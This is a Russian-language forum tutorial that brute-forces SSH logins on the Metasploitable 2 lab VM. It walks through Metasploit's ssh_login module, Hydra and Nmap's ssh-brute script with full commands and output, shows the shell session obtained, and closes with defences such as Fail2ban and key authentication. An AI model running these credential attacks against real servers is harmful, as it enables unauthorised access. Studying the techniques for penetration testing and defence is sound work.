• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Получите SSH-доступ к серверам путем Brute Force

Engine1

Куратор
Сообщения
57
Реакции
42
0 руб.
SSH - один из наиболее распространенных протоколов, используемых в современной ИТ-инфраструктуре, и поэтому он может быть ценным вектором атаки для хакеров. Один из самых надежных способов получить SSH-доступ к серверам - это подобрать учетные данные. Существует несколько методов атаки методом перебора SSH, которые в конечном итоге приведут к обнаружению действительных учетных данных для входа.

Хотя это не единственные способы сделать это, мы будем изучать такие инструменты, как Metasploit , Hydra и Nmap Scripting Engine в Nmap для выполнения этой задачи, все из которых включены в Kali Linux . Что касается цели, мы будем практиковаться в Metasploitable 2 , специально уязвимой тестовой среде для пентестинга и исследования безопасности.

Обзор SSH
SSH, что означает Secure Shell, представляет собой сетевой протокол, который позволяет зашифрованную связь по незащищенной сети. Он был разработан как альтернатива Telnet , который отправляет информацию в виде открытого текста, что явно является проблемой, особенно когда речь идет о паролях .

Криптографический сетевой протокол SSH работает по модели клиент-сервер. То есть клиент инициирует соединение с сервером, и связь устанавливается после аутентификации. SSH может использовать аутентификацию как по паролю, так и по закрытому ключу , последний из которых считается более безопасным.

# Рекомендуемый материал для чтения: SSH, The Secure Shell: The Definitive Guide

Использование SSH включает предоставление средств для удаленного входа в систему и выполнения команд , передачи файлов, мобильной разработки и устранения неполадок с подключением в облачных приложениях. Практически каждое крупное предприятие тем или иным образом реализует SSH, что делает эту технологию полезной для ознакомления.

# How Hackers Could Brute-Force SSH Credentials to Gain Access to Servers YouTube video

Сканирование с помощью Nmap
Прежде чем мы начнем любые атаки методом перебора, нам нужно определить состояние порта, на котором работает SSH. Мы можем выполнить простое сканирование Nmap, чтобы узнать, открыт он или нет. Вместо того, чтобы сканировать все порты по умолчанию, мы можем указать один номер порта с помощью флага -p .

~$ nmap 172.16.1.102 -p 22 Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 14:58 CST Nmap scan report for 172.16.1.102 Host is up (0.0039s latency). PORT STATE SERVICE 22/tcp open ssh MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

Выше мы видим, что порт 22 открыт и на нем работает служба SSH. Было бы пустой тратой времени, если бы он был закрыт или вообще не работал. Теперь мы можем приступить к брутфорсу.

Способ 1 Metasploit

Первый метод, который мы опробуем сегодня, включает один из вспомогательных сканеров Metasploit. Сначала запустите базу данных PostgreSQL с помощью следующей команды.

~$ sudo service postgresql start

Теперь мы можем запустить Metasploit, набрав msfconsole в терминале .

~$ msfconsole # cowsay++ ____________ < metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v5.0.87-dev ] + -- --=[ 2006 exploits - 1096 auxiliary - 343 post ] + -- --=[ 562 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] Metasploit tip: Use help <command> to learn more about any command msf5 >

Вы должны увидеть «msf», хотя для меня это «msf5», поскольку я использую самую последнюю версию Metasploit 5 , которую можно обновить, запустив последнюю версию Kali . Всегда полезно оставаться в курсе, чтобы воспользоваться новейшими эксплойтами и инструментами. Вот команда, которую я использую для обновления:
~$ sudo apt update && sudo apt dist-upgrade

Затем, увидев приветственный баннер для msfconsole , мы можем найти соответствующий модуль с помощью команды поиска .

msf5 > search ssh Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/windows/ssh/sysax_sshd_kexchange 2013-03-17 normal No Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service 1 auxiliary/fuzzers/ssh/ssh_kexinit_corrupt normal No SSH Key Exchange Init Corruption 2 auxiliary/fuzzers/ssh/ssh_version_15 normal No SSH 1.5 Version Fuzzer 3 auxiliary/fuzzers/ssh/ssh_version_2 normal No SSH 2.0 Version Fuzzer 4 auxiliary/fuzzers/ssh/ssh_version_corrupt normal No SSH Version Corruption 5 auxiliary/scanner/http/cisco_firepower_login normal No Cisco Firepower Management Console 6.0 Login 6 auxiliary/scanner/http/gitlab_user_enum 2014-11-21 normal No GitLab User Enumeration 7 auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09 normal No Apache Karaf Default Credentials Command Execution 8 auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration 9 auxiliary/scanner/ssh/detect_kippo normal No Kippo SSH Honeypot Detector 10 auxiliary/scanner/ssh/eaton_xpert_backdoor 2018-07-18 normal No Eaton Xpert Meter SSH Private Key Exposure Scanner 11 auxiliary/scanner/ssh/fortinet_backdoor 2016-01-09 normal No Fortinet SSH Backdoor Scanner 12 auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal No Juniper SSH Backdoor Scanner 13 auxiliary/scanner/ssh/karaf_login normal No Apache Karaf Login Utility 14 auxiliary/scanner/ssh/libssh_auth_bypass 2018-10-16 normal No libssh Authentication Bypass Scanner 15 auxiliary/scanner/ssh/ssh_enum_git_keys normal No Test SSH Github Access 16 auxiliary/scanner/ssh/ssh_enumusers normal No SSH Username Enumeration 17 auxiliary/scanner/ssh/ssh_identify_pubkeys normal No SSH Public Key Acceptance Scanner 18 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner 19 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner 20 auxiliary/scanner/ssh/ssh_version normal No SSH Version Scanner 21 exploit/apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent No Apple iOS Default SSH Password Vulnerability 22 exploit/linux/http/alienvault_exec 2017-01-31 excellent Yes AlienVault OSSIM/USM Remote Code Execution 23 exploit/linux/http/php_imap_open_rce 2018-10-23 good Yes php imap_open Remote Code Execution 24 exploit/linux/http/symantec_messaging_gateway_exec 2017-04-26 excellent No Symantec Messaging Gateway Remote Code Execution 25 exploit/linux/http/ubiquiti_airos_file_upload 2016-02-13 excellent No Ubiquiti airOS Arbitrary File Upload 26 exploit/linux/local/ptrace_traceme_pkexec_helper 2019-07-04 excellent Yes Linux Polkit pkexec helper PTRACE_TRACEME local root exploit 27 exploit/linux/ssh/ceragon_fibeair_known_privkey 2015-04-01 excellent No Ceragon FibeAir IP-10 SSH Private Key Exposure 28 exploit/linux/ssh/cisco_ucs_scpuser 2019-08-21 excellent No Cisco UCS Director default scpuser password 29 exploit/linux/ssh/exagrid_known_privkey 2016-04-07 excellent No ExaGrid Known SSH Key and Default Password 30 exploit/linux/ssh/f5_bigip_known_privkey 2012-06-11 excellent No F5 BIG-IP SSH Private Key Exposure 31 exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey 2014-03-17 excellent No Loadbalancer.org Enterprise VA SSH Private Key Exposure 32 exploit/linux/ssh/mercurial_ssh_exec 2017-04-18 excellent No Mercurial Custom hg-ssh Wrapper Remote Code Exec 33 exploit/linux/ssh/quantum_dxi_known_privkey 2014-03-17 excellent No Quantum DXi V1000 SSH Private Key Exposure 34 exploit/linux/ssh/quantum_vmpro_backdoor 2014-03-17 excellent No Quantum vmPRO Backdoor Command 35 exploit/linux/ssh/solarwinds_lem_exec 2017-03-17 excellent No SolarWinds LEM Default SSH Password Remote Code Execution 36 exploit/linux/ssh/symantec_smg_ssh 2012-08-27 excellent No Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability 37 exploit/linux/ssh/vmware_vdp_known_privkey 2016-12-20 excellent No VMware VDP Known SSH Key 38 exploit/multi/http/git_submodule_command_exec 2017-08-10 excellent No Malicious Git HTTP Server For CVE-2017-1000117 39 exploit/multi/http/gitlab_shell_exec 2013-11-04 excellent Yes Gitlab-shell Code Execution 40 exploit/multi/ssh/sshexec 1999-01-01 manual No SSH User Code Execution 41 exploit/unix/http/schneider_electric_net55xx_encoder 2019-01-25 excellent Yes Schneider Electric Pelco Endura NET55XX Encoder 42 exploit/unix/ssh/array_vxag_vapv_privkey_privesc 2014-02-03 excellent No Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution 43 exploit/unix/ssh/tectia_passwd_changereq 2012-12-01 excellent Yes Tectia SSH USERAUTH Change Request Password Reset Vulnerability 44 exploit/windows/local/unquoted_service_path 2001-10-25 excellent Yes Windows Unquoted Service Path Privilege Escalation 45 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow 46 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass 47 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow 48 exploit/windows/ssh/putty_msg_debug 2002-12-16 normal No PuTTY Buffer Overflow 49 exploit/windows/ssh/securecrt_ssh1 2002-07-23 average No SecureCRT SSH1 Buffer Overflow 50 exploit/windows/ssh/sysax_ssh_username 2012-02-27 normal Yes Sysax 5.53 SSH Username Buffer Overflow 51 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH 52 post/linux/gather/enum_network normal No Linux Gather Network Information 53 post/linux/manage/sshkey_persistence excellent No SSH Key Persistence 54 post/multi/gather/jenkins_gather normal No Jenkins Credential Collector 55 post/multi/gather/ssh_creds normal No Multi Gather OpenSSH PKI Credentials Collection 56 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction 57 post/windows/gather/enum_putty_saved_sessions normal No PuTTY Saved Sessions Enumeration Module 58 post/windows/manage/forward_pageant normal No Forward SSH Agent Requests To Remote Pageant 59 post/windows/manage/install_ssh normal No Install OpenSSH for Windows 60 post/windows/manage/sshkey_persistence

Модуль ssh_login - это именно то, что нам нужно. Оборудуйте его командой использования . После этого вам следует "вспомогательный msf5 (сканер / ssh / ssh_login)", чтобы вы знали, что работаете в нужном месте.

msf5 > use auxiliary/scanner/ssh/ssh_login

Затем мы можем ввести параметры для отображения доступных настроек сканера.

msf5 auxiliary(scanner/ssh/ssh_login) > options Module options (auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE false yes Whether to print output for all attempts

Нам нужно настроить несколько вещей, чтобы это работало правильно. Во-первых, RHOSTS - это IP-адрес нашей цели.

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 172.16.1.102 rhosts => 172.16.1.102

Затем STOP_ON_SUCCESS остановится после нахождения действительных учетных данных.

msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true stop_on_success => true


Затем USER_FILE - это список имен пользователей.

msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt user_file => users.txt

И PASS_FILE - это список паролей.




Наконец, есть VERBOSE , который отображает все попытки.

msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true verbose => true


Для файлов пользователей и паролей я использовал сокращенный список, содержащий известные учетные данные, в целях этой демонстрации. В реальной атаке вы, вероятно, захотите использовать один из хорошо известных списков слов или собственный, соответствующий вашим потребностям.


Теперь у нас все должно быть готово. Введите run в приглашении, чтобы запустить его:

msf5 auxiliary(scanner/ssh/ssh_login) > run [-] 172.16.1.102:22 - Failed: 'user:password' [-] 172.16.1.102:22 - Failed: 'user:Password123' [-] 172.16.1.102:22 - Failed: 'user:msfadmin' [-] 172.16.1.102:22 - Failed: 'user:admin' [-] 172.16.1.102:22 - Failed: 'user:default' [-] 172.16.1.102:22 - Failed: 'user:root' [-] 172.16.1.102:22 - Failed: 'user:toor' [-] 172.16.1.102:22 - Failed: 'user:hello' [-] 172.16.1.102:22 - Failed: 'user:welcome' [-] 172.16.1.102:22 - Failed: 'user:hunter2' [-] 172.16.1.102:22 - Failed: 'msfadmin:password' [-] 172.16.1.102:22 - Failed: 'msfadmin:Password123' [+] 172.16.1.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [*] Command shell session 1 opened (172.16.1.100:37615 -> 172.16.1.102:22) at 2020-08-09 15:06:58 -0600 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed


Поскольку мы устанавливаем подробный вариант, мы можем видеть все попытки по мере их выполнения. В зависимости от количества комбинаций имени пользователя и пароля это может занять некоторое время.

Когда действительные учетные данные найдены, отображается сообщение об успешном выполнении и открывается командная оболочка. Однако он не вызывает нас автоматически, поэтому мы можем отображать текущие активные сеансы с помощью команды sessions

msf5 auxiliary(scanner/ssh/ssh_login) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH msfadmin:msfadmin (172.16.1.102:22) 172.16.1.100:37615 -> 172.16.1.102:22 (172.16.1.102)

Это говорит о том, что это SSH-соединение. Чтобы взаимодействовать с этим сеансом, используйте флаг -i .

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 [*] Starting interaction with 1... id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Теперь мы подключены к цели через SSH и можем запускать команды как обычно.

Способ 2 Hydra

Следующий инструмент, который мы будем использовать, - это Hydra, мощный взломщик входа в систему, который работает очень быстро и поддерживает ряд различных протоколов. Чтобы отобразить справку и некоторые основные параметры использования, просто введите в терминал команду « hydra» . (Обратите внимание, если вы были ранее в консоли Msf, убедитесь , что вы вышлииз него , прежде чем использовать Hydra.)

~$ hydra Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]] Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -t TASKS run TASKS number of connects in parallel per target (default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra Don't use in military or secret service organizations, or for illegal purposes. Example: hydra -l user -P passlist.txt ftp://192.168.0.1


Hydra содержит ряд опций, но сегодня мы будем использовать следующие:

  • -L флаг, который указывает список имен входа в систему .
  • флаг, который определяет список паролей.
  • ssh: //172.16.1.102 - наша цель и протокол.
  • -T флаг установлен в 4 , который устанавливает количество параллельных задач для запуска.
Как только мы начнем, инструмент отобразит статус атаки:

~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47 [DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task [DATA] attacking ssh://172.16.1.102:22/

Через некоторое время он завершится и покажет нам количество найденных успешных входов в систему.

[22][ssh] host: 172.16.1.102 login: msfadmin password: msfadmin [STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active [STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-09 15:15:10

Мощность параллельной обработки Hydra делает ее хорошим выбором, когда задействовано большое количество потенциальных учетных данных.

Способ 3 Механизм сценариев Nmap

Последний метод подбора учетных данных SSH, который мы опробуем сегодня, включает использование Nmap Scripting Engine . NSE содержит сценарий, который попытается перебрать все возможные комбинации пары имени пользователя и пароля. Чтобы выполнить эту атаку, мы можем запустить простое сканирование Nmap из нового терминала, как и раньше, но с добавлением нескольких дополнительных опций:

  • --script ssh-brute указывает используемый сценарий.
  • --script-args установит аргументы для скрипта, разделенные запятой.
  • userdb = users.txt - это список имен пользователей, которые мы хотим использовать.
  • passdb = passwords.txt - это список паролей, которые мы хотим использовать.
Теперь мы готовы начать сканирование:

~$ nmap 172.16.1.102 -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 15:17 CST

NSE отобразит попытки перебора и проверяемые учетные данные. Наберитесь терпения - в зависимости от количества используемых логинов и паролей это может занять некоторое время.

NSE: [ssh-brute] Trying username/password pair: user:user NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin NSE: [ssh-brute] Trying username/password pair: admin:admin NSE: [ssh-brute] Trying username/password pair: root:root NSE: [ssh-brute] Trying username/password pair: john:john NSE: [ssh-brute] Trying username/password pair: default:default NSE: [ssh-brute] Trying username/password pair: support:support NSE: [ssh-brute] Trying username/password pair: service:service NSE: [ssh-brute] Trying username/password pair: adam:adam NSE: [ssh-brute] Trying username/password pair: admin:password NSE: [ssh-brute] Trying username/password pair: root:password NSE: [ssh-brute] Trying username/password pair: john:password NSE: [ssh-brute] Trying username/password pair: default:password NSE: [ssh-brute] Trying username/password pair: support:password NSE: [ssh-brute] Trying username/password pair: adam:password NSE: [ssh-brute] Trying username/password pair: admin:Password123 NSE: [ssh-brute] Trying username/password pair: root:Password123 NSE: [ssh-brute] Trying username/password pair: john:Password123 NSE: [ssh-brute] Trying username/password pair: default:Password123 ...

Через некоторое время сканирование завершится, и в терминале отобразится отчет.

Nmap scan report for 172.16.1.102 Host is up (0.0011s latency). PORT STATE SERVICE 22/tcp open ssh | ssh-brute: | Accounts: | user:user - Valid credentials | msfadmin:msfadmin - Valid credentials | service:service - Valid credentials |_ Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5 MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 147.59 seconds

Выше мы видим, что он обнаружил три действительных учетных данных. Этот сценарий полезен, потому что он будет перебирать все возможные пары имен пользователей и паролей, что иногда дает больше результатов.

Как предотвратить брутфорс SSH

Реальность такова, что если у вас есть сервер, подключенный к Интернету, ежедневно будет происходить множество попыток перебора SSH, многие из которых автоматизированы . Но не волнуйтесь, есть несколько простых решений, которые помогут защитить от этого и сократить количество попыток входа в систему.

Возможно, один из самых простых способов сделать это - изменить номер порта, на котором работает SSH. Хотя это предотвратит самые элементарные попытки грубой силы, сканирование SSH, работающего на альтернативных портах, тривиально.

Лучшим методом является реализация такой службы, как Fail2ban , DenyHosts или iptables, для блокировки попыток перебора на уровне хоста. Это, в сочетании с использованием аутентификации с закрытым ключом вместо паролей, сделает вас недоступным для большинства злоумышленников. Если аутентификация на основе пароля абсолютно необходима, используйте надежные пароли и следуйте рекомендациям .
 

Shihan531

Участник
Сообщения
2
Реакции
1
0 руб.
Отличная и информативная статья, спасибо 👍
Не смотря на то, что уже прошло несколько лет, информация остаётся актуальной.
 
Сверху Снизу